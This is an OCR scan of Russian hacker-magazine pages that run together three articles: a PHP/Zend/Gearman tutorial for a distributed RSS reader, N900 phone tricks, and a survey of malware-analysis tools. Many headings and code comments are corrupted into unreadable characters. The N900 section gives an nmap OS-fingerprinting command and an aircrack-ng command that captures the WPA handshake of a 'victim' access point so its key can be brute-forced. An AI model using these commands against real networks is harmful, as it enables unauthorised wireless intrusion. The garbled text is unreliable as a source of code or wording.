- Memcachedb, чтобы Gearmand мог 
хранить задания при перезагрузке.
- Сервер Redis для кеширования, 
рекомендую Redis 1.2, который 
можно достать на GitHub-е.
- Zend Framework (лучше всего — 
trunk-версия из SVN-а). Интерфейс 
сделаем самый простой, на базе 
jQuery и jQuery UI последних вер-
сий. Для управления базой данных 
можно использовать phpMyAdmin.
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ÌÎÄÓËÜÍÀß ÎÁÐÀÁÎÒÊÀ 
ËÅÍÒ È ÑÎÎÁÙÅÍÈÉ
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или же вытащит ее из кэша, а тебе останется 
только проверить, что получилось.

$feed = Zend_Feed_

Reader::import($feed_url);

if ($feed instanceOf 

   Zend_Feed_Reader_FeedAbstract)

{  /* êîä îáðàáîòêè ëåíòû çäåñü 

*/  }

Видишь, все просто. Теперь разберемся с 
сообщениями. Ты же пока не знаешь, какие 
сообщения новые, какие старые, поэтому в 
любом случае надо обработать все получен-
ные данные. Сделать это просто, ведь класс, 
который мы получили, не только содержит все 
данные из ленты, но и, что важнее, допуска-
ет работу с собой как с обычным массивом! 
Поэтому просто запусти цикл foreach и он 
переберет все новости из ленты.
Для начала вычислим уникальный ключ 
новости — используя md5-хеш от заголовка 
новости, даты публикации и линка. Далее про-
верим, существует ли кэш для этой ленты в 
Redis-е. Если его нет, значит, лента добавлена 
только что, и мы еще ее не обрабатывали. 
Получить поля сообщения также очень легко. 
Для простоты и удобства мы пока опустим 
работу с самим телом новости — это будет 
хорошим домашним заданием, а выведем 
только заголовок, ссылку и дату:

$_item['title'] = 

htmlspecialchars($feed->getTitle(), 

ENT_QUOTES);

$_item['time'] = $feed-

>getDateCreated()->getTimestamp();

$_item['link'] = $feed->getLink();

Теперь создадим ключ новости:

$_item['hash'] = md5($_

item['title'] . '|' . $_

item['link'] . '|' . $_

item['time']);

Все готово, чтобы проверить новость на 
«старость»:

$_fhash = md5($feed_url); //õýø 

êýøà äëÿ ëåíòû

if ((!$redis->exists($_fhash)) 

|| (($redis->exists($_fhash)) && 

(!$redis->existsInSet($_fhash, 

$_item['hash'])))

{

 //óõ òû, íîâîñòü! Äîáàâèòü!

 $redis->addToSet(md5($feed_url),

    $_item['hash']);

}  

else   

 continue;

Код будет выполняться, только если мы 
получили новую информацию. В базе ты хра-
нишь ID ленты, заголовок новости, ссылку и 
две даты — время самой новости и время, 
когда она добавлена — а также посчитанный 
md5-хеш. Записывать сообщения, конеч-

БЛОК-СХЕМА ОБРАБОТКИ АДРЕСА НОВОЙ ЛЕНТЫ
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но, необходимо в транзакции, но, учитывая, что вставок может быть 
много, а ты же не хочешь завалить сервер, можно ограничиться тран-
закцией на всю ленту. При помощи Zend’а это делается командами: 
$db beginTransaction() и $db commit(). В крайнем случае, если что-
то не так, сделай Rollback: $db rollBack(). 
Вот мы и получили ссылку на ленту, получили ленту (задействовав при 
этом все возможности кэширования), разобрали ее на отдельные сооб-
щения, не парясь с конкретным форматом, а потом проверили по кэшу 
все сообщения и записали новые в базу данных. При этом минимально 
затронув самое узкое место любого веб-приложения — собственно, саму 
СУБД!  

ÑÅÐÂÅÐÀ Â ÓÏÐßÆÊÅ,
ÈËÈ ÂÛÕÎÄ GEARMAN'À
Если запустить написанный нами скрипт, то он будет работать, как и 
обычная «ПеХаПешка». Сначала обработается первая лента, потом 
вторая и так далее. И неважно, на скольких серверах ты его запу-
стишь. 
К тому же, ошибка при обработке какой-то ленты вырубит сразу весь 
скрипт, а значит, остальные новости будут пропущены. Непорядок — 
процесс просто необходимо распараллелить.
Большинство программистов, занимающихся нагруженными серви-
сами, пишут масштабируемые и параллельные приложения на Java, 
С или хотя бы Python. И будут косо смотреть в твою сторону, если ты 

скажешь, что напишешь такое же на РНР. Не обращай на них вни-
мание, давай писать на PHP! :) А поможет тебе классная технология 
Gearman. Это такой специальный сервер, который берет на себя 
всю работу по управлению заданиями, которые ты ему поручишь. 
Он сам выстроит их в очередь, посмотрит, сколько серверов и про-
цессов у него есть, потом разошлет всем работу, проконтролирует 
ее выполнение и соберет результаты. Если ты добавишь еще один 
сервер, стоит только запустить на нем обработчики заданий, как 
Gearman сам поймет, что теперь задания можно распределить на 
новый сервер. И так с каждым новым сервером! Единственное, чего 
пока Gearman не может, так это выполнять работы по расписанию, 
то есть, заменить им cron нельзя. Сам сервер написан на С и очень 
быстрый, API есть для многих языков, также можно встроить в 
MySQL как UDF (пользовательскую функцию).
Для РНР есть два варианта — использовать быстрый C-модуль, 
который придется компилировать и устанавливать, или подключить 
PEAR-пакет Net_Gearman, написанный на чистом РНР, но более 
медленный и плохо документированный. Мы выберем модуль на С, 
тем более, поставить его очень легко — он есть в PECL. Установим 
через менеджер пакетов командой «apt-get install gearman-job-
server», после чего запустим как демон «gearmand –d». По умол-
чанию она слушает порт 4730, на который мы и будем отправлять 
задания.
Затем давай подумаем, как превратить код, который мы написали 
ранее, в распределенный. У нас уже есть функция, которая принима-
ет ссылку на ленту и полностью ее обрабатывает. Мы напишем обра-
ботчик для Gearman-а, который будет принимать задание — JSON-

массив с линками на ленты. 
В случае ошибок при обработке мы все равно будем отправлять 
сообщение серверу, что все ОК. Потому что, если ошибка связана с 
самой лентой (например, удаленный сервер лежит), то нам не надо 
сразу еще раз пробовать выполнить задание, лучше дождаться 
следующего цикла обработки. Иначе стоит появиться одной сбой-
ной ленте, как вся система зависнет, постоянно пытаясь выполнить 
задание.
Далее у нас есть специальный скрипт: он запускается по Cron’у каж-
дые 5 минут (если хочешь, то чаще — от этого зависит частота опро-
са лент) и будет выбирать все ссылки на ленты, которые надо обно-
вить, формировать из них задания, а потом скомандует Gearman'у 
выполнить все задания параллельно. Если у тебя будет 10 лент, то, 
смотря, сколько обработчиков ты запустишь, сервер сможет прове-
рять одновременно столько же лент. Если обработчиков меньше, то 
каждый из них последовательно будет обрабатывать свои задания, 
пока не завершит все.
Заметь — обработчики остаются запущенными постоянно, они, по 
сути, являются демонами, поэтому если будешь небрежно писать 
код, будут накапливаться утечки памяти. Хорошо бы время от вре-
мени их перезапускать, например, раз в неделю. Но это никак не 
повлияет на работу всей системы, даже если ты просто вырубишь 
все скрипты — задания останутся  и будут обработаны, как только ты 
запустишь хоть один скрипт. А если вдруг увидишь, что сервер не 

справляется с работой, добавь еще один, запусти там новые обра-
ботчики — и они сразу включатся в работу! Если пойти еще дальше, 
то можешь поставить счетчик, и на каждые, например, пять новых 
лент, добавленных пользователями, запускать на сервере новый 
обработчик. А если кто-то отпишется от лент, то можно и убрать лиш-
ний процесс. 

ÑÊÐÈÏÒÛ
Так ты получишь динамическое масштабирование в зависи-
мости от нагрузки. Кратко распишу, как устроены все скрипты. 
Обработчик ленты (файл feedWorker.php) после запуска создает 
объект GearmanWorker, который скрывает все подробности взаимо-
действия с сервером. Далее регистрируемся на сервере (а можно и 
на нескольких) — методом addServer(). И, наконец, зарегистрируем 
функцию как обработчик, используя произвольное имя — методом 
addFunction. Теперь, если на сервере будут задания, ассоцииро-
ванные с этим именем, Gearman вызовет нашу функцию и передаст 
ей строку с заданием. В одном скрипте можно описать несколько 
функций и зарегистрировать их под разными именами, но учти, что 
одновременно сможет работать только одна. 

$worker = new GearmanWorker();

$worker->addServer();

$worker->addFunction("feedProcesor", 

"myFeedProcessor");

function myFeedProcessor($job)
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ÁÎËÜØÈÍÑÒÂÎ ÏÐÎÃÐÀÌÌÈÑÒÎÂ, ÇÀÍÈÌÀÞÙÈÕÑß 
ÍÀÃÐÓÆÅÍÍÛÌÈ ÑÅÐÂÈÑÀÌÈ, ÏÈØÓÒ ÌÀÑØÒÀÁÈÐÓÅÌÛÅ 
È ÏÀÐÀËËÅËÜÍÛÅ ÏÐÈËÎÆÅÍÈß ÍÀ JAVA, Ñ ÈËÈ ÕÎÒß 
ÁÛ PYTHON. È ÁÓÄÓÒ ÊÎÑÎ ÑÌÎÒÐÅÒÜ Â ÒÂÎÞ ÑÒÎÐÎÍÓ, 
ÅÑËÈ ÒÛ ÑÊÀÆÅØÜ, ×ÒÎ ÍÀÏÈØÅØÜ ÒÀÊÎÅ ÆÅ ÍÀ ÐÍÐ.
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• Gearman PHP 
Extension: 
pecl.php.net/package/
gearman.
• Класс на чистом РНР 
для Gearman:
pear.php.net/package/
Net_Gearman.
• Для Python: 
launchpad.net/
gearman-interface;
samuel.github.com/
python-gearman.
• Для Java обитает 
здесь:
launchpad.net/
gearman-java.

• RSS (Really Simple 
Syndication) — целое 
семейство форматов 
для предоставления 
XML-документа с 
обновлениями сайта 
или другого источника 
данных. Кроме самого 
RSS, в который входят 
несколько версий 
спецификации, несо-
вместимых между со-
бой, существует про-
двинутый протокол 
Atom и устаревший 
сложный RDF. Atom 
является стандартом 
http://tools.ietf.org/
html/rfc4287) и актив-
но поддерживается 
Google.

info

INFO

На диске есть дис-
трибутив с готовым 
примером, а также 
все исходные коды 
и дистрибутивы 
используемых про-
грамм. 

dvd

DVD

{

 $feeds = 

  Zend_Json::decode( $job-> workload() );

}

while ($worker->work());

Когда обработчик вызван, ему передается специальный 
объект задания, из которого в первую очередь необходи-
мо получить нужные нам для работы данные. Так как они 
закодированы в строку JSON-ом, используем компонент 
Zend_Json, который превратит строку в обычный массив.
Всего шесть строк кода — и мы превратили нашу 
функцию обработки лент в распределенную! Теперь ты 
можешь просто заинклудить файл processFeed.php и 
передать функции processFeed() полученный массив 
ссылок $feeds.
Чтобы сообщить серверу Gearmand, что все отлично 
и мы выполнили задание, достаточно вызвать $job-
>sendComplete('OK'). Хотя вполне можно просто вернуть 
из функции true: система достаточно гибкая и простая, 
чтобы делать за тебя всю работу. Еще необходимо сфор-
мировать задачу, чтобы сервер знал, что нужно выпол-
нить. Этот код также очень прост: 

$gmclient= new GearmanClient();

$gmclient->addServer();

$feed_links = $db->fetchAll('SELECT fid, 

feed_url FROM feeds WHERE errors < 3');

foreach ($feed_links as $fl)

{

 echo "Add to processing queue: " . 

$fl['feed_url'] . "\n";

 $gmclient-

>addTaskBackground('feedProcesor', Zend_

Json::encode(array($fl))); 

}

$gmclient->runTasks();

Объясню, как оно работает. Так как задания раздает кли-
ент, мы первым делом, используя Gearman API, создаем 
с его помощью объект клиента и регистрируем его на 
сервере. А потом выбираем из базы данных ссылки на 
все ленты, которые имеют менее 3-х ошибок. 
Если ошибок больше, вероятно, что-то с лентой не так, 
поэтому даже не будем пытаться проверять. В цикле 
перебираем все и формируем из лент задания, закоди-
рованные в JSON-формат. После того, как весь набор 
задач сформирован, запускаем его на выполнение 
командой runTasks(). 
Все задачи будут выполнены по возможности парал-
лельно и в фоновом режиме. Что означает, что мы не 
сможем получить ответ от обработчиков. 
Если же это необходимо, следует задавать задачу коман-
дой do(), тогда она выполнится в синхронном режиме, 
а результат будет передан тебе. Но нам значения не 
нужны, так же, как и вообще необходимость следить за 
выполнением работы — задали задачи и все, выходим 
из скрипта, остальную работу оставим серверу. 
Остается только запустить скрипт из Cron-а, но с этой 
задачей, думаю, ты справишься сам. Частота обновле-
ния лент зависит от многих факторов, наверное, лучше 
всего начать с 10 минут, если лент не очень много. 
Обрати внимание: желательно, чтобы суммарное время 
обработки всех лент было меньше, чем интервал обнов-
ления, иначе сильно возрастет нагрузка на сервер. В 
таком случае просто добавь обработчиков или же, если 
перестает справляться внешний канал, новый сервер. 
Ведь тебе сначала надо запросить у сервера ленты, а 
это порядочный трафик.

ÍÓ ×ÒÎ, ÏÎËÓ×ÈËÎÑÜ?
Конечно, чтобы получить расширяемую систему на РНР, 
пришлось задействовать дополнительный сервер, ком-
пилировать модуль, но стоит сделать это один раз, как в 
дальнейшем у тебя будет гибкая система, чтобы выполнять 
любую работу. 
Например, если построить фотохостинг, то ресайз карти-
нок как раз можно делегировать Gearman’у. На нем даже 
настоящий поисковик собираются делать, а это тебе уже 
не игрушки. Такие сайты, как Digg.com и Yahoo! также 
используют у себя Gearman. Помимо этого ты попробовал 
Zend Framework в работе — несмотря на возгласы скепти-
ков, что он тяжелый и сложный, мы написали RSS-ридер 
всего за несколько строк! Единственное, что пока тебя, 
наверное, смущает — чтобы посмотреть новые новости, 
даже если они уже оказались на твоем сервере, все равно 
необходимо жать кнопку обновления. Это не беда, есть 
решение, которое заткнет за пояс Google Reader, но о нем 
я расскажу в одной из следующих статей. z

ÀÐÕÈÒÅÊÒÓÐÀ GEARMAN

Чтобы лучше понимать принцип работы Gearman, 
рассмотрим основные понятия его архитектуры. Их 
немного:
- Задание (работа, job) — строка, которая передается 
обработчику и содержит данные для работы. Здесь ты 
должен подумать, как передавать сложные структуры 
данных. Если ничего, кроме РНР, тебя не интересует, 
не парься и бери обычную сериализацию. Если захо-
чешь попробовать разные языки, надо, чтобы формат 
понимался каждым из них. Например, хорошо подхо-
дит JSON.
- Обработчик — скрипт на РНР (любой язык, для 
которого есть Job API), выполняющий работу. 
Одновременно можно запустить несколько обработчи-
ков, хоть на одном сервере, хоть на тысяче, каждый из 
них это отдельный РНР-процесс.
- Задача (Task) — несколько заданий, которые необ-
ходимо выполнить параллельно. Ты ставишь серверу 
задачу, чтобы он выполнил одну или несколько работ, а 
дальше — дело техники.
- Клиент — скрипт, который создает задания и работы 
и посылает их на сервер. 
- Сервер — собственно, центральный элемент систе-
мы. Принимает задачи от клиентов и смотрит, каким 
обработчикам и в какой очередности распределить 
конкретные работы. Он же следит за доступностью 
обработчиков, собирает ответы и отсылает их назад 
клиенту. Если ты послал задание обработчику, но 
возникла ошибка, сервер это воспримет нормально 
и попробует переназначить задание другому доступ-
ному обработчику. На случай, если надо перегружать 
сервер, Gearman может задействовать MySQL или 
memcachedb для хранения там заданий, тогда ему 
нестрашны никакие падения. Конечно, самих серве-
ров также может быть много, чтобы вырубание одного 
никак не влияло на выполнение работ. 
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ÊÀÊ È ÄËß ËÞÁÎÉ LINUX-ÑÈÑÒÅÌÛ, Ó MAEMO ÅÑÒÜ ÑÂÎÈ ÑÅÊÐÅÒÛ 
È ÕÈÒÐÎÑÒÈ. ÏËÀÒÔÎÐÌÀ ÍÅ ÏÅÐÅÑÒÀÅÒ ÓÄÈÂËßÒÜ, ÏÎÇÂÎËßß 
ÇÀÏÓÑÊÀÒÜ ÊÀÊ ÕÀÊÅÐÑÊÈÅ ÒÓËÇÛ, ÒÀÊ È ÑÒÀÐÛÅ ÄÎÁÐÛÅ 
ÈÃÐÛ. ÑÅÃÎÄÍß, ÓÆÅ ÑÅÐÜÅÇÍÎ ÈÇÓ×ÈÂ ÒÅËÅÔÎÍ, ÌÛ ÑÎÁÐÀËÈ 
ÄËß ÒÅÁß ÍÅÑÊÎËÜÊÎ ÏÎËÅÇÍÛÕ ÒÐÞÊÎÂ, ÊÎÒÎÐÛÌÈ ÑÏÅØÈÌ 
ÏÎÄÅËÈÒÜÑß.

 026

ÒÐÈÊ 1: ÏÐÀÂÈËÜÍÎÅ 
ÓÏÐÀÂËÅÍÈÅ ÏÐÈËÎÆÅÍÈßÌÈ
О том, как совладать с диспетчером прило-
жений и устанавливать софт для N900, рас-
сказывать не нужно. Мы уже рассказывали, 
как подключить дополнительные репозитории 
с огромным количеством бета-версий про-
грамм, которые находятся в стадии раз-
работки, но уже могут быть установлены на 
телефон. Но если вначале за появлением 
новых приложений еще можно было уследить, 
то со временем это переросло в серьезную 
и муторную задачу. Штудировать огромный 
список приложений в поисках новых про-
грамм стало сильно надоедать, и тогда я 
открыл для себя замечательную программу 
AppWatch. Написанная на Qt, небольшая 
тулза делает одну простую вещь — мониторит 
активность разных репозитариев, отображая 
списки добавленных, обновленных, а также 
удаленных приложений. Впрочем, интересные 
приложения очень часто оказываются вообще 
вне всяких репозитариев и распространяются 
в виде .deb-пакета (как наш Bluetooth-сканер, 
который мы разработали в прошлый раз). Но и 
без менеджера пакетов установить такое при-
ложение несложно. Подключив Nokia N900 к 
компьютеру, нужно перевести его в «Режим 
запоминающего устройства», после чего 
скопировать deb-файл в папку .documents 
девайса. А далее, не забыв отключить девайс 
от компа, выполнить под рутом команду:: dpkg 
-i /home/user/MyDocs/.documents/

[íàçâàíèå ïàêåòà].deb

Рекомендую также установить тулзу MyMenu 
или Catorise, которые помогут не свихнуться в 
поисках нужного приложения в меню, органи-
зовав ярлыки для запуска по разделам.

ÒÐÈÊ 2: ÓÑÒÀÍÀÂËÈÂÀÅÌ 
ÕÀÊÅÐÑÊÈÉ ÑÎÔÒ
Приятная новость заключается в том, что в 
репозитариях появились несколько полезных 
X-Toolz. Тут надо заметить, что порты nmap 
и aircrack были и для предыдущих версий 
Maemo, поэтому их перенос на новую Maemo5 
был лишь вопросом времени. И вот теперь их 
можно, без напильника и прочих ухищрений, 
установить прямо из менеджера приложе-
ний! Использование сканера безопасности 
Nmap на N900 для сканирования локалки или 
отдельных хостов не отличается от действий 
с обычного линукса ровном счетом ничем! 
Правда, для Maemo пока нет GUI-интерфейса, 
поэтому сканером можно воспользоваться 
только из консоли: например, nmap -v -O 
–PN 192.168.1.1. Отчет о сканировании, 
в моем случае точки доступа Wi-Fi, вывел 
полную информацию об открытых портах, 
предположение об удаленной операционной 
системе, а также производителе девайса, 
определенного по его MAC-адресу. Впрочем, 
в случае точки доступа Wi-Fi гораздо интерес-
нее подобрать WEP/WAP-ключ, что опять же 
стало доступным после появление aircrack'а. 
Напомню, что подбор ключа для WPA — зада-
ча непростая и решается исключительно 
перебором/брутфорсом, причем успех напря-

мую зависит от того, есть ли искомый ключ 
в словаре или нет. Трудность заключается в 
том, что для побора необходимо перехватить 
фрейм авторизации пользователя — так назы-
ваемый WPA Handshake. С таким фреймом 
можно брутфорсить ключ с помощью обычного 
компьютера и специального софта (в том 
числе с использованием CUDA), кластера 
из PS3 или даже облачных вычислений — 
главное получить этот фрейм. Теперь, когда 
любая из утилит пакета aircrack-ng работает 
прямо с телефона, можно запустить беспро-
водной снифер, просто указав номер канала, 
ESSID нужной точки доступа и некоторые 
другие параметры: aircrack-ng -c 11 
-e victim -Z 4 -W 1 -F cap wlan0. 
В результате получим cap-файл, по которому 
реально восстановить ключ. Конечно, можно 
было бы пробрутфорсить ключ прямо с теле-
фона, но скорее забавы ради, потому как ско-
рость перебора на моем N900 не превысила 
даже 50 ключей в секунду :). Пакет находится 
в репозитарии extras-devel, потому что пока 
не закончена функция инжекции пакетов.

ÒÐÈÊ 3: ÇÀÏÓÑÊÀÅÌ ËÞÁÈÌÛÅ 
ÈÃÐÛ
В нашем первом обзоре мы рассказывали, как 
запустить на N900 Quake 3, показав насколь-
ко обширен потенциал телефона. За те пару 
месяцев после релиза телефона под Maemo5 
были портированы другие легендарные 
игрушки: Doom 2, Warcraft 2, Starcraft, Quake, 
RedAlert, Duke Nukem 3D. Правда, это напря-
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мую зависит от наличия порта просто для 
обычного Linux'а: скажем, для Quake 3 суще-
ствует OpenArena, для Warcraft 2 — WarGus, 
для Doom — PrBoom и т.д. Если такой порт 
использует Simple DirectMedia Layer (SDL), то 
очень вероятно, что порт в скором появится 
и для Maemo, которая также поддерживает 
эту библиотеку. Если не вдаваться в подроб-
ности, то SDL — это кроссплатформенная 
мультимедийная библиотека, реализующая 
единый интерфейс к графической подсистеме, 
звуковым устройствам и средствам ввода. В 
результате неважно, на какой системе в буду-
щем будет запускаться игра — на обычном 
компьютере или, как в нашем случае, мобиль-
ной версии Linux'а, главное, чтобы платформа 
поддерживала SDL. Некоторые из игрушек 
уже доступны в репозитории, для некоторых 
несложно найти инструкцию по установке. 
Единственный нюанс заключается в необхо-
димости вручную скопировать файлы с тексту-
рами и звуками из оригинальных игр. Помимо 
этого не стоит сбрасывать со счетов эмулятор 
DOSBox, порт которого давно доступен в 
репозитарии N900. Виртуализируя окружения 
DOS, он позволяет запустить самые старые 
приложения, в том числе игры для MS-DOS. 
К примеру, уже сейчас можно порубиться в 
легендарный Fallout (конфиги для DOSBox'а 
ты можешь найти по адресу: migenonline.com/
N900/dosbox-0.73-Fallout1.conf.txt), правда, 
производительность пока оставляет желать 
лучшего.

ÒÐÈÊ 4: ÇÀÌÎÐÎ×ÊÈ 
Ñ ÁÐÀÓÇÅÐÎÌ
Одна из самых замечательных возможностей 
N900 — полноценный браузер, позволяю-
щий комфортно работать с любыми AJAX-
приложениями, в том числе Gmail. Несмотря 
на то, что в недрах стандартного браузера 
MicroB уже лежит движок Mozilla Gecko, 
разработчики Firefox ведут разработку свое-
го собственного браузера для мобильной 
платформы. Работа над Fennec, после 6-и 
бета-версий, наконец-то вышла на финиш-
ную прямую: в январе появился кандидат в 
релизы. Правда, после установки браузера 

тебя, вероятно, постигнет некоторое смятение, 
потому что работает он… довольно медлен-
но. По скорости рендеринга сайтов Fennec 
может проигрывать в 2, а иногда и больше 
раз. Ситуацию может отчасти спасти под-
ключение дискового кэша. Для этого, как в 
обычном файрфоксе, нужно открыть страницу 
параметров about:config, с помощью филь-
тра найти параметр browser.cache.disk.
enable и поменять его значение.
Еще один полезный хинт также касается 
браузера, но уже стандартного. Благодаря 
недокументированной опции, появившейся в 
последней прошивке, браузер можно переве-
сти в портретный режим, нажав на клавиатуре 
одновременно Ctrl-Shift+O, затем закрыв 
клавиатуру и перевернув телефон вертикаль-
но. После этого N900 будет автоматически 
переходить в портретный режим в браузере 
при повороте в вертикальное положение, 
вплоть до выключения.

ÒÐÈÊ 5: ÁÅÑÏÐÎÂÎÄÍÛÅ
ÊËÀÂÈÀÒÓÐÀ È ÌÛØÜ
Впрочем, браузер как рендерил хорошо сайты, 
так и рендерит. А вот, что действительно 
добавляет N900 функциональности — так это 
убойное приложение BlueMaemo. Что оно 
позволяет? Превратить девайс на Maemo в 
беспроводную мышку или клавиатуру, рабо-
тающие через Blueooth. Благодаря этой 
программе, можно эмулировать Bluetooth-
клавиатуру и мышку через стандартный 
профайл HID Bluetooth, который поддержи-
вает большинство адаптеров синего зуба 
и операционных систем. После установки 
BlueMaemo на телефоне нажми в нем Wait 
a connection (ожидание подключения). 
Затем, если ты под виндой, открой параме-
тры Bluetooth-адаптера, найди пункт в меню 
или кнопку «Добавить устройство» и среди 
найденных беспроводных девайсов выбери 
устройство с именем твоего телефона. Во 
многих Bluetooth-стеках у него будет соответ-
ствующая пиктограмма: с клавиатурой и мыш-
кой. После ввода ключей для авторизации на 
телефоне высветится сообщение об удачном 
подключении и появится интерфейс для уда-

ленного управления. Выбор самый разный: ты 
можешь использовать сенсорный экран N900 
в качестве беспроводной мышки, или аппа-
ратную клавиатуру для набора текста с рас-
стояния. Самыми используемыми профилями, 
пожалуй, являются интерфейс для управления 
презентацией (перелистывание слайдов), а 
также пульт для управления медиа-плеером. 
Забавно, что с помощью той же самой 
BlueMaemo можно играть и в PlayStation 3, 
добавив в настройках игровой консоли новое 
Bluetooth-устройство. Что касается настоль-
ных Linux-систем, то HID-профиль может быть 
подключен с помощью команды hcitool 
scan, определяющей доступные устройства, и 
hidd –connect ‘àäðåñ_bt_äåâàéñà_ñ_

hid’, выполняющей само подключение.

ÒÐÈÊ 6: ÝÌÓËßÒÎÐ N900
Этот трик касается скорее не нынешних поль-
зователей N900, а тех, кто только планирует 
приобрести девайс, но сначала бы хотел 
испытать его в действии. Понятно, что стоя 
у прилавка магазина едва ли можно про-
чувствовать всю мощь Linux'а, зато эмулятор 
телефона, предоставляющий удаленный 
доступ к реальной системе, на которой ты 
можешь делать все, что угодно, в этом случае 
— вещь незаменимая. Уникальный сервис, 
благодаря которому становится доступной 
такая возможность, называется RDA (Remote 
Device Access) и доступен по адресу apu.
ndhub.net. Вход в систему осуществляется по 
логину/паролю, который ты получишь после 
регистрации на сайте www.forum.nokia.com. 
Для работы проверяется наличие нужного 
браузера (подойдет Firefox, IE, Opera и Safari 
— я со своим Google Chrome обломался), а 
также JRE. Если все в порядке, ты можешь 
выбрать нужный аппарат (любой из смартфо-
нов компании, включая Nokia X6) и скачать 
.jnlp-файл, который запустит на твоем компью-
тере эмулятор на Java. 

Наверняка, за время работы у тебя накопи-
лись и свои секреты! Присылай их нам — и мы 
обязательно опубликуем их в нашем разделе 
про Maemo (www.xakep.ru/N900). z
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BLUEMAEMO ПОЗВОЛЯЕТ ИСПОЛЬЗОВАТЬ N900 
КАК БЕСПРОВОДНУЮ КЛАВИАТУРУ И МЫШЬ

NMAP ЗАМЕЧАТЕЛЬНО ЧУВСТВУЕТ СЕБЯ НА N900
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нтивирусные компании накопили 
огромный арсенал средств и ноу-хау 
для сбора новых образцов малвари 
и исследования сомнительных фай-
лов, анализа и реверсинга тел ви-

русов. Но чтобы определить, делает ли файл 
что-то сомнительное или нет, не надо быть 
специалистом антивирусной лаборатории. 
Провести свой анализ помогут несколько 
подручных средств.

VIRUSTOTAL
WWW.VIRUSTOTAL.COM
Если у меня есть сомнения по поводу 
какого-то файла, первым делом я заливаю 
его на VirusTotal. Преимущество очевидно: 
за раз можно проверить файл на наличие 
малвари более чем 40 разными антиви-
русными продуктами, используя последние 

доступные сигнатуры. Результат интересен 
не только с точки зрения, заражен файл или 
нет, но еще и для сравнения эффективности 
разных антивирусов, работы эвристиче-
ских алгоритмов и проверки работы своих 
крипторов :). Сервис использовать гораздо 
удобнее, если установить в систему специ-
альную программу-загрузчик VirusTotal 
Uploader. В контекстном меню появляется 
новый пункт, через который можно быстро 
передать файл на проверку. К тому же, во 
второй версии программы появился еще и 
графический интерфейс, — с ним легко про-
веряется любой из текущих процессов. С 
другой стороны, далеко не всегда эвристика 
и сигнатурные базы, даже всех антивиру-
сов сразу, могут обнаружить уникальную 
малварь, правильно упакованную и пока не 
«спалившуюся». Тут ничего не остается, как 

самому брать в руки инструменты и изучать 
поведение программы. 

SANDBOXIE
WWW.SANDBOXIE.COM
Есть два способа узнать, что делает про-
грамма: отреверсить ее, что сложно и долго, 
или запустить, посмотрев, что после этого 
произойдет. Правда, запускать сомнительный 
файл в своей системе сродни с самоубий-
ством, поэтому делать это нужно в безопасном 
окружении. Не будем в очередной раз касать-
ся виртуальных машин, хотя это, безусловно, 
один из лучших способов, а воспользуемся 
на этот раз песочницей (sandbox). Любая 
программа, запущенная в такой песочнице, 
функционирует так же, как и если бы была 
запущена просто в системе, однако файловая 
система и реестр для нее особенным образом 
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ÝÒÎ ÂÈÐÓÑ! ÍÓÒÐÎÌ ×ÓÞ, ×ÒÎ 
Â ÔÀÉËÅ — ÒÐÎßÍ, ÍÎ ÀÍÒÈÂÈÐÓÑ, 
ÇÀÐÀÇÀ ÒÀÊÀß, ÌÎË×ÈÒ. ÌÎÆÅÒ ÁÛÒÜ, 
ÈÑÏÎËÜÇÓÅÒÑß ÕÈÒÐÛÉ ÊÐÈÏÒÎÐ, 
ÓÑËÎÆÍßÞÙÈÉ ÝÂÐÈÑÒÈ×ÅÑÊÈÉ 
ÀÍÀËÈÇ? ÈËÈ ÒÐÎÉ ÍÎÂÛÉ È ÅÙÅ ÍÅ ÏÎÏÀË 
Â ÑÈÃÍÀÒÓÐÍÛÅ ÁÀÇÛ? ÈËÈ ÌÎÆÅÒ, ÝÒÎ ÍÅ 
ÂÈÐÓÑ ÂÎÂÑÅ, À ÏÐÎÑÒÎ ß — 
ÏÀÐÀÍÎÈÊ? ÂÑÅ ÂÎÇÌÎÆÍÎ :). 
ÍÀØÀ ÇÀÄÀ×À ÍÀ ÑÅÃÎÄÍß — 
ÏÐÎÀÍÀËÈÇÈÐÎÂÀÒÜ ÑÎÌÍÈÒÅËÜÍÛÉ 
ÔÀÉË ÌÈÍÈÌÀËÜÍÎÉ ÊÐÎÂÜÞ.

ÑÂÎß 
ÀÍÒÈÂÈÐÓÑÍÀß 
ËÀÁÎÐÀÒÎÐÈß
ÈÍÑÒÐÓÌÅÍÒÛ ÄËß ÀÍÀËÈÇÀ 
ÏÎÄÎÇÐÈÒÅËÜÍÛÕ ÔÀÉËÎÂ
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виртуализируются, чтобы любые изменения 
всегда можно было откатить. Начиная с Vista 
встроенная «песочница» есть в винде: пере-
вести любое приложение в sandbox можно 
через менеджер задач, выбрав в контекстном 
меню пункт «Виртуализация UAC». Пользуются 
ей немного, что неудивительно, потому как 
решения от сторонних разработчиков намного 
понятнее, в том числе и программа Sandboxie. 
Виртуализировать критические участки систе-
мы для любого приложения можно в два клика 
мыши, причем программа легко настраивается 
так, чтобы заданные файлы всегда запуска-
лись только в sandbox'е.
«Ну, хорошо, запустили мы файл под 
sandbox’ом, дальше-то что?» — спросишь ты. 
Как что — изучать, чем занимается программа 
после запуска. На помощь приходят утилиты 
из набора Sysinternals (technet.microsoft.
com/ru-ru/sysinternals) и, в первую очередь, 
Process Monitor, который в реальном времени 
отслеживает активность файловой системы, 
реестра, процессов, потоков и библиотек DLL. 
Благодаря другой утилите из того же Autoruns 
несложно выяснить, не прописала ли себя 
утилита в каком-нибудь из мест автозагрузки. 
Малварь также можно распознать по API-
функциям, которые вызывает программа. 
Отследить такие вызовы поможет API Monitor 
(www.apimonitor.com) или бесплатная тулза 
SysAnalyzer (labs.idefense.com). Список про-
грамм можно продолжать, в конечном итоге, 
мы получаем немаленький набор утилит, чтобы 
только проанализировать работу приложения. 
Получается довольно муторный процесс, кото-
рый, разумеется, можно упростить: прежде 

чем рваться в бой, проводя исследование 
вручную, отправить бинарник специальному 
автоматическому анализатору.

CWSANDBOX
WWW.CWSANDBOX.ORG
Выполнить все те же самые действия, но в 
автоматическом режиме берется онлайн-
сервис CWSAndbox. Получив исполняемый 
файл, система запустит его в «песочнице» и 
беспристрастно проследит за всем, что тот 
проделает в системе. Способ лучше, чтобы 
быстро получить справку о том, что делает 
подозрительный бинарник в системе, еще 
нужно поискать! Нет никакой необходимости 
геморроиться с установкой «песочницы» или 
виртуальной машины и самому анализировать 
результаты работы мониторов — CWSAndbox 
все сделает за тебя, а на выходе по всем пунк-
там выдаст подробный отчет. Правда, ждать от 
CWSAndbox чудес не стоит: сервис не скажет 
«Что-то мне этот бинарник не нравится, похо-
же, это троян». Интерпретация отчета полно-
